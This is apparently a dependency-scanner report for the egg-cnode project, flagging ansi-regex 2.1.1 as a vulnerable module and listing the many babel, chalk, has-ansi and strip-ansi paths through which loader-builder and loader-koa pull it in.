Vulnerable module: ansi-regex
Introduced through: loader-builder@2.7.2 and loader-koa@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
